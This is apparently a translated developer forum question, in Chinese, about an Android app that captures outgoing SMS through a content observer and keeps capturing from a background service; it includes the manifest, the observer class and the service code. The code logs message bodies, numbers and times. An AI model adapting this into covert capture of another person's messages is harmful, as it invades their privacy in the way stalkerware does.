请我需要捕获在 Android 手机中发送的短信并将其记录在某处。到目前为止,我的尝试似乎没有奏效。这是我的清单
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="org.secure.sms"
android:versionCode="1"
android:versionName="0.1" >
<uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<application
android:icon="@drawable/icon"
android:label="@string/app_name" >
<activity
android:name="org.secure.sms.SecureMessagesActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".MyAlarmService" />
<receiver
android:name="org.secure.sms.SmsReceiver"
android:exported="true" >
<intent-filter android:priority="999" >
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<receiver android:name="org.secure.sms.ServiceReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
</intent-filter>
</receiver>
<activity
android:name="org.secure.sms.MyAlarmService"
android:label="@string/title_activity_my_alarm_service" >
<meta-data
android:name="android.support.PARENT_ACTIVITY"
android:value="org.secure.sms.SecureMessagesActivity" />
</activity>
</application>
</manifest>
这是我的观察者班
package org.secure.sms;
import java.util.ArrayList;
import java.util.List;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.util.Log;
public class ServiceObserver extends ContentObserver {
private Context mContext;
//private String contactId = "", contactName = "";
private String smsBodyStr = "", phoneNoStr = "";
private long smsDatTime = System.currentTimeMillis();
static final Uri SMS_STATUS_URI = Uri.parse("content://sms/out");
public ServiceObserver(Handler handler, Context ctx) {
super(handler);
mContext = ctx;
}
public boolean deliverSelfNotifications() {
return true;
}
public void onChange(boolean selfChange) {
try{
//Log.e("Info","Notification on SMS observer");
Cursor sms_sent_cursor = mContext.getContentResolver().query(SMS_STATUS_URI, null, null, null, null);
if (sms_sent_cursor != null) {
if (sms_sent_cursor.moveToFirst()) {
String protocol = sms_sent_cursor.getString(sms_sent_cursor.getColumnIndex("protocol"));
Log.e("Info","protocol : " + protocol);
int type = sms_sent_cursor.getInt(sms_sent_cursor.getColumnIndex("type"));
Log.e("Info","SMS Type : " + type);
// for actual state type=2
if(type == 2){
smsBodyStr = sms_sent_cursor.getString(sms_sent_cursor.getColumnIndex("body")).trim();
phoneNoStr = sms_sent_cursor.getString(sms_sent_cursor.getColumnIndex("address")).trim();
smsDatTime = sms_sent_cursor.getLong(sms_sent_cursor.getColumnIndex("date"));
Log.e("Info","SMS Content : "+smsBodyStr);
Log.e("Info","SMS Phone No : "+phoneNoStr);
Log.e("Info","SMS Time : "+smsDatTime);
}
}
}
else
Log.e("Info","Send Cursor is Empty");
}
catch(Exception sggh){
Log.e("Error", "Error on onChange : "+sggh.toString());
}{
super.onChange(selfChange);
}
}
}
这是观察者注册
final Uri SMS_STATUS_URI = Uri.parse("content://sms/out");
ServiceObserver smsSentObserver = new ServiceObserver(new Handler(), this);
this.getContentResolver().registerContentObserver(SMS_STATUS_URI, true, smsSentObserver);
编辑:该应用程序现在运行良好,但只能在我只访问该应用程序时捕获 SMS,尽管 Android 显示了在后台运行的进程和服务。这是我暂停的代码
我已经注册了一项服务并暂停了此代码,但如果手机仍处于中转状态,它表示一项服务和一个进程正在运行,但除非我访问该应用程序,否则不会捕获短信。
protected void onPause() {
if(!TrackerService.isRunning){
serviceIntent = new Intent(MainActivity.this, TrackerService.class);
startService(serviceIntent);
mServiceReceiver = new MyReceiver();
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(TrackerService.mAction);
registerReceiver(mServiceReceiver, intentFilter);
}
super.onPause();
}